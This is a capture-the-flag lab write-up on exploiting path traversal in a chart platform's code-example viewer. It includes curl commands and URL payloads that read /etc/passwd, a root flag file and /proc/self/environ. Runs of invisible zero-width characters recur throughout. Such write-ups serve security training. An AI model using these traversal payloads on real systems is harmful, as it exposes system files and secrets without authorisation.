Lab 57 — ChartForge — Path Traversal in Code Examples Viewer

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-26 | Status: Solved Techniques: environment_variable_disclosure, lfi_to_file_read, path_traversal_exploitation

Summary

Task: Data visualization platform with documentation section that loads code examples via file parameter. Solution: Exploited path traversal in file parameter to read /root/flag.txt.

Lab 57 — ChartForge — Path Traversal in Code Examples Viewer — HackAdvisor

Description

ChartForge is a data visualization platform by Graphium Labs that provides developers with chart rendering APIs and embeddable widgets. The platform includes interactive documentation with live code examples, a chart playground for testing configurations, API key management, and usage analytics.

The goal was to find and exploit a vulnerability that allows reading sensitive files on the server.

Hint: Take a closer look at the documentation section. How does the application load and display source code for the code examples? ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A data visualization platform with documentation that displays code examples. The goal is to find a vulnerability to read sensitive server files.

Analysis

The application has a documentation section at /docs/examples that displays source code for various chart types. The source viewer uses a file parameter to specify which file to load and display:

/docs/examples?file=bar_chart.php

Key findings during reconnaissance:

• PHP 8.2.26 application running with php -S 0.0.0.0:8080
• Application root: /app/public
• Alpine Linux container (Docker environment)
• The file parameter has no sanitization or filtering for path traversal sequences ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Reconnaissance

Explored the application and identified the documentation section at /docs/examples which displays code examples for various chart types (bar charts, line charts, pie charts, etc.).

Step 2: Identify Vulnerable Parameter

Noticed the URL structure for loading code examples:

/docs/examples?file=bar_chart.php

The file parameter directly specifies which file to load and display in the source viewer.

Step 3: Test Path Traversal

Tested the file parameter for path traversal vulnerability by attempting to read /etc/passwd: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
curl "https://[target]/docs/examples?file=../../../../../../etc/passwd"

The request successfully returned the contents of /etc/passwd, confirming the path traversal vulnerability.

Step 4: Extract the Flag

Read the flag from /root/flag.txt:

 bash read-only • copy allowed Copy
curl "https://[target]/docs/examples?file=../../../../../../root/flag.txt"

The flag was also discoverable via /proc/self/environ which exposed environment variables including:

FLAG=FLAG{REDACTED}

Payload

https://[target]/docs/examples?file=../../../../../../root/flag.txt

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Alternative payload via environment variables:

https://[target]/docs/examples?file=../../../../../../proc/self/environ

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍